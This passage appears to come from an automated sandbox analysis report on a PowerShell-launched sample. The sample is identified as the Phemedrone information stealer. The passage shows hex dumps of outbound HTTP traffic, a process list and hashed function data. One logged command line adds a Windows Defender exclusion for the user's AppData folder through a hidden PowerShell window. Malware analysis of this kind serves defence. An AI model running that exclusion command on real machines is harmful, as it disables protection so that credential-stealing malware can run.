b2 90 63 ba 56 e9 01 7d 62 55 da 05 81 07 54 f5 91 e3 fb fd 5c b7 76 ea 67 ba c9 29 57 d5 d6 ca 3f f3 e8 d3 ba 16 11 88 00 Data Ascii: eoGv\|@y,F7cl~8e,/bbU\ 2jE_Dc<27^.e}9iLP$!p<2}+ /Zw%y<y"p_r6Xds{6(i>k*QeP1J@cY(cV}bUT\vg)W?
2024-12-04 14:12:37 UTC	145	OUT	Data Raw: c2 cf 4a 40 e6 7d 07 20 12 4f 71 a7 bc a3 55 f6 55 91 57 5a f3 e8 9b a3 28 b4 2a d0 39 fa 80 84 53 d8 45 90 7a c8 be 28 f0 9c 53 e6 19 23 17 cc 63 9d a2 d0 58 94 7e ae 85 78 03 b0 6d 2b 00 91 7c 48 3d 65 a0 42 50 01 48 df 23 c0 9b 6c be f3 0f c1 07 31 a6 00 6c 85 df 28 08 07 81 88 5c 43 d6 21 f3 94 81 c7 3c e9 33 b5 92 4f 91 17 e7 62 75 9f f3 2d 88 3f aa f6 90 77 88 3a c5 1d a2 8e 96 b1 e2 8e 79 44 a0 28 f7 e8 d7 4a 40 25 63 98 f3 Data Ascii: J@} OqUUWZ(*9SEz(S#cX~xm+\|H=eBPH#l1l(\C!<3Obu-?w:yD(J@%c
2024-12-04 14:12:37 UTC	16355	OUT	Data Raw: 28 70 8c b5 e2 0d e9 a7 d0 cb c4 1c ad 90 ab 40 34 a6 04 cc 04 a0 c2 cf b8 cf a3 75 dd 18 2f 28 00 95 7b 8a bc 38 16 65 9f 71 d6 c5 b5 71 8e 3d 62 b5 9f 63 65 60 cd 7b 54 2f da 14 75 b1 ef 9c fd 2a d4 82 f0 63 dc ae 61 3e e6 b9 96 71 5c 6b 8c 5c f3 ed c7 f5 b1 b5 ef 9e c0 73 e3 bc b2 90 3d 6a ee 20 ed bc cc 43 09 a8 14 04 e7 94 83 4a 3e a5 9f 02 90 35 51 22 c2 ee 08 40 c4 df 79 37 75 bf f8 9c 77 77 6f fe 27 ff 43 f7 ef 1e 36 b9 5f 79 f3 7f f7 df 77 bf f8 cc df eb d6 ce 2a 7f 01 39 ef e6 07 bd 08 9c 12 72 4d 3c 8e 0f 07 eb 17 2c 26 97 6e 47 13 b3 d2 2f 92 49 bf 69 a6 2b 16 67 f0 28 ee f8 ce c0 69 b2 67 c2 f8 6e 3f df eb 07 1c ed 05 e7 84 4a bf 02 55 7f 8a bf 2a ff 2e b9 bb 5e 20 e2 25 22 95 8b ee a8 32 70 83 df 1f be 7f f9 8c a3 14 8c 47 85 85 8b 42 a4 91 Data Ascii: (p@4u/({8eqq=bce`{T/uca>q\k\s=j CJ>5Q"@y7uwwo'C6_yw9rM<,&nG/Ii+g(ign?JU*.^ %"2pGB
2024-12-04 14:12:37 UTC	16355	OUT	Data Raw: 25 98 c8 be 8c 65 02 50 10 7d 1b 2f 1f 2a fe 5e f6 b5 5e fe 95 f5 07 5e f1 8d 19 09 18 59 26 ff 14 7a d9 9c f3 8b 30 27 ca 3f 18 f7 08 52 cf e3 be 8c 95 7e 53 b2 6f c8 55 10 4e 9e fb c5 51 e4 b5 12 30 c2 fc 3c 01 88 b8 a3 7a 0f e8 2b f4 a2 e4 23 ae ec 83 38 c7 05 20 bc 03 d0 75 8a 3f 5a 8e 00 73 1c 18 e8 57 90 81 cf 2a 79 cf b8 b6 8a be c9 d3 3e 5b fb c4 0f 72 64 f8 d9 e5 3b 95 b5 82 ec 8b 02 10 ec 73 c4 d7 18 20 f4 90 82 c4 7d ef 5f 9c 37 c7 3c 88 f2 4f e9 b7 3e bc ff 0f 0e 94 cf 88 e8 5b 3b f9 aa 0a ef ff 8b 02 b0 ca bf b2 d6 23 c0 f1 18 70 ac 0a 1c 85 20 52 6e 90 76 bc bb 8f 0a bf 28 f2 94 7b 8e 91 79 be e3 4f 41 68 3e 79 ce 33 9e 3c e9 8a 3a cf 18 aa 3c 7c 6a c9 1b 04 9e 47 81 95 7e f6 1d 9b 27 c4 94 87 40 1e d2 0f e8 13 e3 3d 7f 55 e4 51 b5 87 b0 0b Data Ascii: %eP}/^^^Y&z0'?R~SoUNQ0<z+#8 u?ZsWy>[rd;s }_7<O>[;#p Rnv({yOAh>y3<:<\|jG~'@=UQ
2024-12-04 14:12:37 UTC	16355	OUT	Data Raw: 9e f9 e4 9e 9f 1f 94 13 33 be 00 84 c5 0a 40 49 c0 fa 12 10 1d 05 66 4c 5c cf 05 ac e5 9f 64 9f c6 8a 21 ff c6 11 80 02 b9 d7 39 fa 96 b6 f2 6f d4 67 00 aa ea 4f 95 7f aa 04 94 ac 43 de 49 f0 49 e6 79 91 a7 39 c5 6a 6a f9 c7 d8 0b 40 fa e0 05 20 95 85 80 60 a4 0a 90 67 0d 4a ea 49 e8 79 99 27 06 09 c0 68 4d 2d 00 91 79 92 7f 8c 81 b9 5a 0a d6 f0 dc 3f 2f f7 74 dc 57 50 ed a7 98 44 a0 27 aa fe 13 91 f8 f3 20 f5 b4 d6 e7 6a ce 43 8c 39 9f 9b 63 ae b2 4f 48 f0 01 7d c5 a3 4a 40 5a 55 0d fa 39 e4 1c e2 4e 47 81 91 73 48 3f 90 a8 63 8e 63 bc 48 c0 41 92 af 16 80 f4 89 e5 0b 3f 0c aa ff 10 89 6b 0f bc 39 ef 89 10 cc 47 8b f7 b6 b5 08 37 6b 23 24 e8 c0 8b 39 90 dc 83 75 af bb b1 11 75 95 dc 23 8f 79 bf 4f 9d a3 18 ad 04 a0 5e 4b af d1 ab e4 6b 98 5b e1 f7 8d 39 Data Ascii: 3@IfL\d!9ogOCIIy9jj@ `gJIy'hM-yZ?/tWPD' jC9cOH}J@ZU9NGsH?ccHA?k9G7k#$9uu#yO^Kk[9
2024-12-04 14:12:37 UTC	16355	OUT	Data Raw: 7b 59 e8 15 09 58 8b 3e 9f e7 8f 0f eb b6 5f 09 40 64 20 b1 ce d1 b7 e4 38 c7 7e 57 17 d9 a7 4a 40 49 3f 09 40 84 e0 da 37 7e 2f 57 01 22 fb 10 76 12 82 88 bc 8c 13 80 88 3f 55 ff b5 94 3c 55 10 6a 1f c8 b1 22 fc 24 ff 78 ce a0 a4 9f 04 60 ae 06 2c cf f1 93 dc 43 ea a9 45 06 ce 1e d9 1c 03 56 4e 96 82 b6 46 d5 80 8c 75 04 58 20 0d 25 f0 54 d1 a7 56 73 f4 25 f8 24 01 15 23 07 18 33 df 39 f0 fa 2c f6 40 cf f4 93 f0 a3 bf d3 91 f6 9d 96 98 90 20 54 8e 84 9f c7 57 05 ea 18 b0 04 9f 64 9f a0 d2 af 8e 21 0b a9 fa 93 34 84 ba fa 4f 02 2f 3a f2 eb 05 a0 e6 7a c2 af a9 12 04 d6 52 ed 47 15 e0 9a 83 b8 60 84 75 ec d3 88 bf b5 07 de 98 d6 1d 64 bf 27 fb 34 d5 7e aa 04 e4 62 10 04 20 39 88 3b 3d ff 4f 12 0f 79 27 b1 e7 8f f4 22 fd c8 ab 2b ff 6a 01 a8 38 6b 91 78 fe Data Ascii: {YX>_@d 8~WJ@I?@7~/W"v?U<Uj"$x`,CEVNFuX %TVs%$#39,@ TWd!4O/:zRG`ud'4~b 9;=Oy'"+j8kx
2024-12-04 14:12:37 UTC	25	IN	HTTP/1.1 100 Continue
2024-12-04 14:12:38 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Wed, 04 Dec 2024 14:12:38 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Target ID:	0
Start time:	09:12:02
Start date:	04/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\gCK3ozTL7Q.ps1"
Imagebase:	0x7ff6eb350000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:12:02
Start date:	04/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:12:05
Start date:	04/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local
Imagebase:	0x7ff6eb350000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	09:12:07
Start date:	04/12/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6220e0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:12:18
Start date:	04/12/2024
Path:	C:\Users\user\AppData\Local\Activation.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Activation.exe"
Imagebase:	0x520000
File size:	3'361'979 bytes
MD5 hash:	AA3A94BA72728DF41A815B060F5E9C52
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 00000005.00000002.1962005815.0000000003554000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 00000005.00000002.1962005815.0000000003579000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 00000005.00000002.1966509817.0000000004420000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericStealer_9, Description: Yara detected Generic Stealer, Source: 00000005.00000002.1966509817.0000000004420000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 00000005.00000002.1966509817.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericStealer_9, Description: Yara detected Generic Stealer, Source: 00000005.00000002.1966509817.00000000049FA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 00000005.00000002.1962005815.000000000356B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericStealer_9, Description: Yara detected Generic Stealer, Source: 00000005.00000002.1962005815.0000000003430000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 00000005.00000002.1966509817.0000000004444000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericStealer_9, Description: Yara detected Generic Stealer, Source: 00000005.00000002.1966509817.0000000004444000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 00000005.00000002.1966509817.0000000004652000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericStealer_9, Description: Yara detected Generic Stealer, Source: 00000005.00000002.1966509817.0000000004652000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 00000005.00000002.1966509817.00000000044BB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericStealer_9, Description: Yara detected Generic Stealer, Source: 00000005.00000002.1966509817.00000000044BB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 00000005.00000002.1966509817.0000000004819000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericStealer_9, Description: Yara detected Generic Stealer, Source: 00000005.00000002.1966509817.0000000004819000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PhemedroneStealer, Description: Yara detected Phemedrone Stealer, Source: 00000005.00000002.1962005815.0000000003422000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GenericStealer_9, Description: Yara detected Generic Stealer, Source: 00000005.00000002.1962005815.0000000003422000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:12:38
Start date:	04/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7808 -s 2452
Imagebase:	0x9c0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00007FFE7DF833B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1552846689.00007FFE7DF80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7DF80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe7df80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: e72b60ce0f5e9a3b838a2c73a7f1d80c39bcdf08b5868ca38c40d660c73af28d
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: 4301677111CB0C4FD758EF0CE451AA5B7E0FB95364F10056EE58AC3661DA36E892CB46

Function 00007FFE7E052D65 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1553511468.00007FFE7E050000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7E050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe7e050000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 217e206870bbbf9dd3703b15cf64a2ffd91702a545776b03ce32a59715b6c06d
Instruction ID: 5d87118bb845e44e636192d60bc52d1ce16eacc02d5f0e92f065be6c6a19f5c3
Opcode Fuzzy Hash: 217e206870bbbf9dd3703b15cf64a2ffd91702a545776b03ce32a59715b6c06d
Instruction Fuzzy Hash: 82E09B32E0E58C4FEB16EA78A4515DCBBA1EF5A311F2804BFD05DD6563D91958418350

Analysis Process: powershell.exePID: 7552, Parent PID: 7336COMMON

Executed Functions

Function 00007FFE7DE7EF7C Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1379391206.00007FFE7DE7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7DE7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe7de7d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d159e56f9f695b2b46c5a57d19ae51636aebb83c1419251fea66c234b81dca37
Instruction ID: 4d96788bd4dabf271693b00e82442722838302cdf63fd8a186d3420f23216f19
Opcode Fuzzy Hash: d159e56f9f695b2b46c5a57d19ae51636aebb83c1419251fea66c234b81dca37
Instruction Fuzzy Hash: EC110A3191CF088FDBA8EF2DE485A6677E0FB98321B10465FE459C7665D731E881CB82

Function 00007FFE7DF933B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1379900911.00007FFE7DF90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7DF90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe7df90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: e8deb046c18ee1e1306a458477117fdb3cce9e72d8a40e1123d468e437dcad20
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 2601677115CB0C4FD758EF0CE451AA5B7E0FB95364F10056EE58AC3661DA36E882CB45

Function 00007FFE7E064151 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1380282177.00007FFE7E060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7E060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe7e060000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cf913f79cc4cb937fe6c807b06510748523b995ed78a75c433a3277efb7b3c5
Instruction ID: 8fe715fd95a33ea024426ce048849a9cb714c53e0451bc23b7870d995e833c57
Opcode Fuzzy Hash: 2cf913f79cc4cb937fe6c807b06510748523b995ed78a75c433a3277efb7b3c5
Instruction Fuzzy Hash: A1F09A32A0C5448FD668EA5CE4005A873F1FF5532070500B7D15DCB076DA2AAC418780

Function 00007FFE7E064404 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1380282177.00007FFE7E060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7E060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe7e060000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18eae3627bb9950b0173c554df79e04ad2a12b846e60692daf8b9efd10ce26dd
Instruction ID: 2b8f036fb76a4877cf729fb0866beb8628441c9764f0507688684c5a598e5017
Opcode Fuzzy Hash: 18eae3627bb9950b0173c554df79e04ad2a12b846e60692daf8b9efd10ce26dd
Instruction Fuzzy Hash: 2DF0B832A0C1448FE765EB18E0429A8B7E1FF01320B0500B7E19ACB077DA2AAC508790

Function 00007FFE7E066865 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1380282177.00007FFE7E060000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7E060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe7e060000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec57e1cf4ce05aff181117b33eb058ae956799e1fa5a27627e8f31355be6deeb
Instruction ID: f15329399aa1b6df7010cc79f0d60772695aead41540f16f37364b9f4357de7d
Opcode Fuzzy Hash: ec57e1cf4ce05aff181117b33eb058ae956799e1fa5a27627e8f31355be6deeb
Instruction Fuzzy Hash: 16E02B32E0E58C4FEB11EB78A4401DCBBA0EF49310F1804BFD00CC6063D91958418350

Function 00007FFE7DF96620 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1379900911.00007FFE7DF90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7DF90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe7df90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c95cd548828093aaa54af768387e3343cb1328d7c4a6eae186b4bd34d95cb055
Instruction ID: e662b3113a90b4fff0a2e4dcaa6d4034ffec9ccd2ade87310706e3cf01775878
Opcode Fuzzy Hash: c95cd548828093aaa54af768387e3343cb1328d7c4a6eae186b4bd34d95cb055
Instruction Fuzzy Hash: E5E0E63581494C9F8B54EF18D8099E977E0FB68305B11425BF41DD7170DB31A554CFC2

Non-executed Functions

Function 00007FFE7DF98B69 Relevance: 6.4, Strings: 5, Instructions: 156COMMON

Download Yara Rule

Strings

L_^@, xrefs: 00007FFE7DF98C6A
L_^7, xrefs: 00007FFE7DF98C22
L_^?, xrefs: 00007FFE7DF98C62
L_^F, xrefs: 00007FFE7DF98C8A
L_^8, xrefs: 00007FFE7DF98C2A

Memory Dump Source

Source File: 00000003.00000002.1379900911.00007FFE7DF90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7DF90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffe7df90000_powershell.jbxd

Similarity

API ID:
String ID: L_^7$L_^8$L_^?$L_^@$L_^F
API String ID: 0-3711972127
Opcode ID: e06116cc6220038fdf356b494c6335bbae4544728b5d7de665f70015328b72e7
Instruction ID: 029c3594f0f97c920691ae7809ec4ddade49a6d093f38461e8616ff879645275
Opcode Fuzzy Hash: e06116cc6220038fdf356b494c6335bbae4544728b5d7de665f70015328b72e7
Instruction Fuzzy Hash: FD4125E3B1C41109DA113A7CB8022ED3764DF9627974842B7D28DEA463FE25708B86D0

Analysis Process: Activation.exePID: 7808, Parent PID: 7336COMMON

Executed Functions

Function 05AE1368 Relevance: .6, Instructions: 606COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1986704892.0000000005AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5ae0000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c0060c6ee490c1b479996326724ded39e7912051525dfd2ca2706913a4e3c4d
Instruction ID: a1e95f516adb749e40452b2ffedb84430d7cbd07cbaf627d83d6afd1ac75213e
Opcode Fuzzy Hash: 5c0060c6ee490c1b479996326724ded39e7912051525dfd2ca2706913a4e3c4d
Instruction Fuzzy Hash: 82321730B012168FDB59DB39C854A6ABBF6BF89308F1084BDD40A9B394EF35D946CB41

Function 01493818 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24748a1364c5c47b859b769df9f236ab128ee5fc54e68c6686e9186ede78c0ba
Instruction ID: c783dfbe7c2f9b44d5cdbf26f65890f84082c754a171ca91886dbbbac4e208ed
Opcode Fuzzy Hash: 24748a1364c5c47b859b769df9f236ab128ee5fc54e68c6686e9186ede78c0ba
Instruction Fuzzy Hash: 5EB11A71E002099FDF14CFA9C9857AEBFF2BF89314F14812AD415AB364EB749846CB91

Function 014940E8 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a962f875609eba95204490ef75154f527067c72e1e7a8fb5169ac7ec0d8fbdf6
Instruction ID: c9b18bb6281cbda6fdebe390437ac28a637bb79120e80b9f7665e33e7d569fbe
Opcode Fuzzy Hash: a962f875609eba95204490ef75154f527067c72e1e7a8fb5169ac7ec0d8fbdf6
Instruction Fuzzy Hash: 4DB14E70E102098FDF14CFA9DA857AEBFF1BF88354F18812AD415A7364EB749846CB81

Function 01497E48 Relevance: 10.2, Strings: 8, Instructions: 220COMMON

Download Yara Rule

Strings

$_q, xrefs: 014980A0
$_q, xrefs: 01497F3C
$_q, xrefs: 01497F88
$_q, xrefs: 01498090
$_q, xrefs: 01497EFC
$_q, xrefs: 01497F4C
$_q, xrefs: 01497EEC
$_q, xrefs: 01497F78

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: $_q$$_q$$_q$$_q$$_q$$_q$$_q$$_q
API String ID: 0-2216122830
Opcode ID: 1a5322e9fd410f0fd16b7bdad01c6c5b1bb640849da310a3cf75fbb65cd96793
Instruction ID: aa5d5994b748b329e7f66ca1570b4e309d82ffe4b1c4fc4f7fe54d9dd696eb99
Opcode Fuzzy Hash: 1a5322e9fd410f0fd16b7bdad01c6c5b1bb640849da310a3cf75fbb65cd96793
Instruction Fuzzy Hash: 7D814F30B1020A9FCF19DFA9D9505AEBBF6FF85314F25852AD405AB364DF34AC468B81

Function 01490F18 Relevance: 5.1, Strings: 4, Instructions: 137COMMON

Download Yara Rule

Strings

g, xrefs: 0149104D
kh, xrefs: 01491098
b, xrefs: 01490FD8
Te_q, xrefs: 01490F33

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: Te_q$kh$b$g
API String ID: 0-433825849
Opcode ID: 1c0cb554de707df43d325c534959349d5eb043c657e2fcff001fd74df7971017
Instruction ID: 8d20d24d6ab8bf27d121e4fa7aa28cac57e122978621d87ddf639b8263437295
Opcode Fuzzy Hash: 1c0cb554de707df43d325c534959349d5eb043c657e2fcff001fd74df7971017
Instruction Fuzzy Hash: 91515974B003069FCB15DF79D558AAEBBE6FB88314F00852DE516EB3A4DB35AC058B90

Function 0149864F Relevance: 2.7, Strings: 2, Instructions: 245COMMON

Download Yara Rule

Strings

4<s, xrefs: 014988C0
tbq, xrefs: 01498773

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: 4<s$tbq
API String ID: 0-1892218244
Opcode ID: 7dce1b6d19f18e5f33a52bdf6fc332ce3a73c6570ff53e328c4fa7071f5cbbad
Instruction ID: cfec735ac8e2ef5ff09e2bce13d08a87a90672908fb9da6ebdf5a00fbd335648
Opcode Fuzzy Hash: 7dce1b6d19f18e5f33a52bdf6fc332ce3a73c6570ff53e328c4fa7071f5cbbad
Instruction Fuzzy Hash: 2391E130B002069FCB15DB79D59466EBFE2FF85304B14856ED54ADB3A9DF319C068B81

Function 01498660 Relevance: 2.7, Strings: 2, Instructions: 223COMMON

Download Yara Rule

Strings

4<s, xrefs: 014988C0
tbq, xrefs: 01498773

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: 4<s$tbq
API String ID: 0-1892218244
Opcode ID: fd2d9039a966c2d90ecebb9f4905ba23d5b012d4844b1c080f127c852080f87a
Instruction ID: baf2f51c84f859a10653194c925a9e90abd794cc2cc6f353d523f88bb93e8496
Opcode Fuzzy Hash: fd2d9039a966c2d90ecebb9f4905ba23d5b012d4844b1c080f127c852080f87a
Instruction Fuzzy Hash: 0A816F30B0020A9FCB19DB79D554B6EBBE2EF85304F14852DE50ADB3A8DF759C068B81

Function 01498961 Relevance: 2.7, Strings: 2, Instructions: 177COMMON

Download Yara Rule

Strings

4<s, xrefs: 014988C0
tbq, xrefs: 01498773

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: 4<s$tbq
API String ID: 0-1892218244
Opcode ID: 57ee31f50caeff3e4a989c72849ce36181cdee0c91c619ed43fab766772186c2
Instruction ID: 619fb2757c853373c4f2f2c5671f051e27f0e771eb237d430ead7ebb2ed3892b
Opcode Fuzzy Hash: 57ee31f50caeff3e4a989c72849ce36181cdee0c91c619ed43fab766772186c2
Instruction Fuzzy Hash: D5616130B0020A9FCB19DB79D59476EBBE2BF85304F24852DE50ADB3A8DF759C068B41

Function 0149D918 Relevance: 2.6, Strings: 2, Instructions: 94COMMON

Download Yara Rule

Strings

nKwq, xrefs: 0149D989
KDBM, xrefs: 0149D99A

Memory Dump Source

Source File: 00000005.00000002.1960735563.0000000001490000.00000040.00000800.00020000.00000000.sdmp, Offset: 01490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1490000_Activation.jbxd

Similarity

API ID:
String ID: KDBM$nKwq
